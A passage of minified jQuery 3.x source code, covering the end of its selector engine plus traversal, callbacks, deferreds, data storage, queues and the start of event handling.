e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c<b;c+=2)a.push(c);return a}),odd:pa(function(a,b){for(var c=1;c<b;c+=2)a.push(c);return a}),lt:pa(function(a,b,c){for(var d=c<0?c+b:c;--d>=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=ma(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=na(b);function ra(){}ra.prototype=d.filters=d.pseudos,d.setFilters=new ra,g=ga.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=Q.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=R.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(P," ")}),h=h.slice(c.length));for(g in d.filter)!(e=V[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?ga.error(a):z(a,i).slice(0)};function sa(a){for(var b=0,c=a.length,d="";b<c;b++)d+=a[b].value;return d}function ta(a,b,c){var d=b.dir,e=b.next,f=e||d,g=c&&"parentNode"===f,h=x++;return b.first?function(b,c,e){while(b=b[d])if(1===b.nodeType||g)return a(b,c,e);return!1}:function(b,c,i){var j,k,l,m=[w,h];if(i){while(b=b[d])if((1===b.nodeType||g)&&a(b,c,i))return!0}else while(b=b[d])if(1===b.nodeType||g)if(l=b[u]||(b[u]={}),k=l[b.uniqueID]||(l[b.uniqueID]={}),e&&e===b.nodeName.toLowerCase())b=b[d]||b;else{if((j=k[f])&&j[0]===w&&j[1]===h)return m[2]=j[2];if(k[f]=m,m[2]=a(b,c,i))return!0}return!1}}function ua(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d<e;d++)ga(a,b[d],c);return c}function wa(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;h<i;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function xa(a,b,c,d,e,f){return d&&!d[u]&&(d=xa(d)),e&&!e[u]&&(e=xa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||va(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:wa(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=wa(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?I(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i<f;i++)if(c=d.relative[a[i].type])m=[ta(ua(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;e<f;e++)if(d.relative[a[e].type])break;return xa(i>1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i<e&&ya(a.slice(i,e)),e<f&&ya(a=a.slice(e)),e<f&&sa(a))}m.push(c)}return ua(m)}function za(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext;function B(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var C=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,D=/^.[^:#\[\.,]*$/;function E(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):D.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b<d;b++)if(r.contains(e[b],this))return!0}));for(c=this.pushStack([]),b=0;b<d;b++)r.find(a,e[b],c);return d>1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(E(this,a||[],!1))},not:function(a){return this.pushStack(E(this,a||[],!0))},is:function(a){return!!E(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var F,G=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,H=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||F,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:G.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),C.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};H.prototype=r.fn,F=r(d);var I=/^(?:parents|prev(?:Until|All))/,J={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a<c;a++)if(r.contains(this,b[a]))return!0})},closest:function(a,b){var c,d=0,e=this.length,f=[],g="string"!=typeof a&&r(a);if(!A.test(a))for(;d<e;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function K(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return K(a,"nextSibling")},prev:function(a){return K(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return B(a,"iframe")?a.contentDocument:(B(a,"template")&&(a=a.content||a),r.merge([],a.childNodes))}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(J[a]||r.uniqueSort(e),I.test(a)&&e.reverse()),this.pushStack(e)}});var L=/[^\x20\t\r\n\f]+/g;function M(a){var b={};return r.each(a.match(L)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?M(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=e||a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h<f.length)f[h].apply(c[0],c[1])===!1&&a.stopOnFalse&&(h=f.length,c=!1)}a.memory||(c=!1),b=!1,e&&(f=c?[]:"")},j={add:function(){return f&&(c&&!b&&(h=f.length-1,g.push(c)),function d(b){r.each(b,function(b,c){r.isFunction(c)?a.unique&&j.has(c)||f.push(c):c&&c.length&&"string"!==r.type(c)&&d(c)})}(arguments),c&&!b&&i()),this},remove:function(){return r.each(arguments,function(a,b){var c;while((c=r.inArray(b,f,c))>-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function N(a){return a}function O(a){throw a}function P(a,b,c,d){var e;try{a&&r.isFunction(e=a.promise)?e.call(a).done(b).fail(c):a&&r.isFunction(e=a.then)?e.call(a,b,c):b.apply(void 0,[a].slice(d))}catch(a){c.apply(void 0,[a])}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b<f)){if(a=d.apply(h,i),a===c.promise())throw new TypeError("Thenable self-resolution");j=a&&("object"==typeof a||"function"==typeof a)&&a.then,r.isFunction(j)?e?j.call(a,g(f,c,N,e),g(f,c,O,e)):(f++,j.call(a,g(f,c,N,e),g(f,c,O,e),g(f,c,N,c.notifyWith))):(d!==N&&(h=void 0,i=[a]),(e||c.resolveWith)(h,i))}},k=e?j:function(){try{j()}catch(a){r.Deferred.exceptionHook&&r.Deferred.exceptionHook(a,k.stackTrace),b+1>=f&&(d!==O&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:N,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:N)),c[2][3].add(g(0,a,r.isFunction(d)?d:O))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(P(a,g.done(h(c)).resolve,g.reject,!b),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)P(e[c],h(c),g.reject);return g.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&Q.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var R=r.Deferred();r.fn.ready=function(a){return R.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||R.resolveWith(d,[r]))}}),r.ready.then=R.then;function S(){d.removeEventListener("DOMContentLoaded",S),
a.removeEventListener("load",S),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",S),a.addEventListener("load",S));var T=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},U=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function V(){this.expando=r.expando+V.uid++}V.uid=1,V.prototype={cache:function(a){var b=a[this.expando];return b||(b={},U(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase(b)]=c;else for(d in b)e[r.camelCase(d)]=b[d];return e},get:function(a,b){return void 0===b?this.cache(a):a[this.expando]&&a[this.expando][r.camelCase(b)]},access:function(a,b,c){return void 0===b||b&&"string"==typeof b&&void 0===c?this.get(a,b):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d=a[this.expando];if(void 0!==d){if(void 0!==b){Array.isArray(b)?b=b.map(r.camelCase):(b=r.camelCase(b),b=b in d?[b]:b.match(L)||[]),c=b.length;while(c--)delete d[b[c]]}(void 0===b||r.isEmptyObject(d))&&(a.nodeType?a[this.expando]=void 0:delete a[this.expando])}},hasData:function(a){var b=a[this.expando];return void 0!==b&&!r.isEmptyObject(b)}};var W=new V,X=new V,Y=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Z=/[A-Z]/g;function $(a){return"true"===a||"false"!==a&&("null"===a?null:a===+a+""?+a:Y.test(a)?JSON.parse(a):a)}function _(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(Z,"-$&").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c=$(c)}catch(e){}X.set(a,b,c)}else c=void 0;return c}r.extend({hasData:function(a){return X.hasData(a)||W.hasData(a)},data:function(a,b,c){return X.access(a,b,c)},removeData:function(a,b){X.remove(a,b)},_data:function(a,b,c){return W.access(a,b,c)},_removeData:function(a,b){W.remove(a,b)}}),r.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=X.get(f),1===f.nodeType&&!W.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=r.camelCase(d.slice(5)),_(f,d,e[d])));W.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){X.set(this,a)}):T(this,function(b){var c;if(f&&void 0===b){if(c=X.get(f,a),void 0!==c)return c;if(c=_(f,a),void 0!==c)return c}else this.each(function(){X.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){X.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=W.get(a,b),c&&(!d||Array.isArray(c)?d=W.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return W.get(a,c)||W.access(a,c,{empty:r.Callbacks("once memory").add(function(){W.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?r.queue(this[0],a):void 0===b?this:this.each(function(){var c=r.queue(this,a,b);r._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&r.dequeue(this,a)})},dequeue:function(a){return this.each(function(){r.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=r.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=W.get(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}});var aa=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ba=new RegExp("^(?:([+-])=|)("+aa+")([a-z%]*)$","i"),ca=["Top","Right","Bottom","Left"],da=function(a,b){return a=b||a,"none"===a.style.display||""===a.style.display&&r.contains(a.ownerDocument,a)&&"none"===r.css(a,"display")},ea=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};function fa(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return r.css(a,b,"")},i=h(),j=c&&c[3]||(r.cssNumber[b]?"":"px"),k=(r.cssNumber[b]||"px"!==j&&+i)&&ba.exec(r.css(a,b));if(k&&k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||".5",k/=f,r.style(a,b,k+j);while(f!==(f=h()/i)&&1!==f&&--g)}return c&&(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d&&(d.unit=j,d.start=k,d.end=e)),e}var ga={};function ha(a){var b,c=a.ownerDocument,d=a.nodeName,e=ga[d];return e?e:(b=c.body.appendChild(c.createElement(d)),e=r.css(b,"display"),b.parentNode.removeChild(b),"none"===e&&(e="block"),ga[d]=e,e)}function ia(a,b){for(var c,d,e=[],f=0,g=a.length;f<g;f++)d=a[f],d.style&&(c=d.style.display,b?("none"===c&&(e[f]=W.get(d,"display")||null,e[f]||(d.style.display="")),""===d.style.display&&da(d)&&(e[f]=ha(d))):"none"!==c&&(e[f]="none",W.set(d,"display",c)));for(f=0;f<g;f++)null!=e[f]&&(a[f].style.display=e[f]);return a}r.fn.extend({show:function(){return ia(this,!0)},hide:function(){return ia(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){da(this)?r(this).show():r(this).hide()})}});var ja=/^(?:checkbox|radio)$/i,ka=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,la=/^$|\/(?:java|ecma)script/i,ma={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ma.optgroup=ma.option,ma.tbody=ma.tfoot=ma.colgroup=ma.caption=ma.thead,ma.th=ma.td;function na(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&B(a,b)?r.merge([a],c):c}function oa(a,b){for(var c=0,d=a.length;c<d;c++)W.set(a[c],"globalEval",!b||W.get(b[c],"globalEval"))}var pa=/<|&#?\w+;/;function qa(a,b,c,d,e){for(var f,g,h,i,j,k,l=b.createDocumentFragment(),m=[],n=0,o=a.length;n<o;n++)if(f=a[n],f||0===f)if("object"===r.type(f))r.merge(m,f.nodeType?[f]:f);else if(pa.test(f)){g=g||l.appendChild(b.createElement("div")),h=(ka.exec(f)||["",""])[1].toLowerCase(),i=ma[h]||ma._default,g.innerHTML=i[1]+r.htmlPrefilter(f)+i[2],k=i[0];while(k--)g=g.lastChild;r.merge(m,g.childNodes),g=l.firstChild,g.textContent=""}else m.push(b.createTextNode(f));l.textContent="",n=0;while(f=m[n++])if(d&&r.inArray(f,d)>-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=na(l.appendChild(f),"script"),j&&oa(g),c){k=0;while(f=g[k++])la.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="<textarea>x</textarea>",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var ra=d.documentElement,sa=/^key/,ta=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ua=/^([^.]*)(?:\.(.+)|)/;function va(){return!0}function wa(){return!1}function xa(){try{return d.activeElement}catch(a){}}function ya(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ya(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=wa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(ra,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(L)||[""],j=b.length;while(j--)h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.hasData(a)&&W.get(a);if(q&&(i=q.events)){b=(b||"").match(L)||[""],j=b.length;while(j--)if(h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&W.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(W.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c<arguments.length;c++)i[c]=arguments[c];if(b.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,b)!==!1){h=r.event.handlers.call(this,b,j),c=0;while((f=h[c++])&&!b.isPropagationStopped()){b.currentTarget=f.elem,d=0;while((g=f.handlers[d++])&&!b.isImmediatePropagationStopped())b.rnamespace&&!b.rnamespace.test(g.namespace)||(b.handleObj=g,b.data=g.data,e=((r.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(b.result=e)===!1&&(b.preventDefault(),b.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,b),b.result}},handlers:function(a,b){var 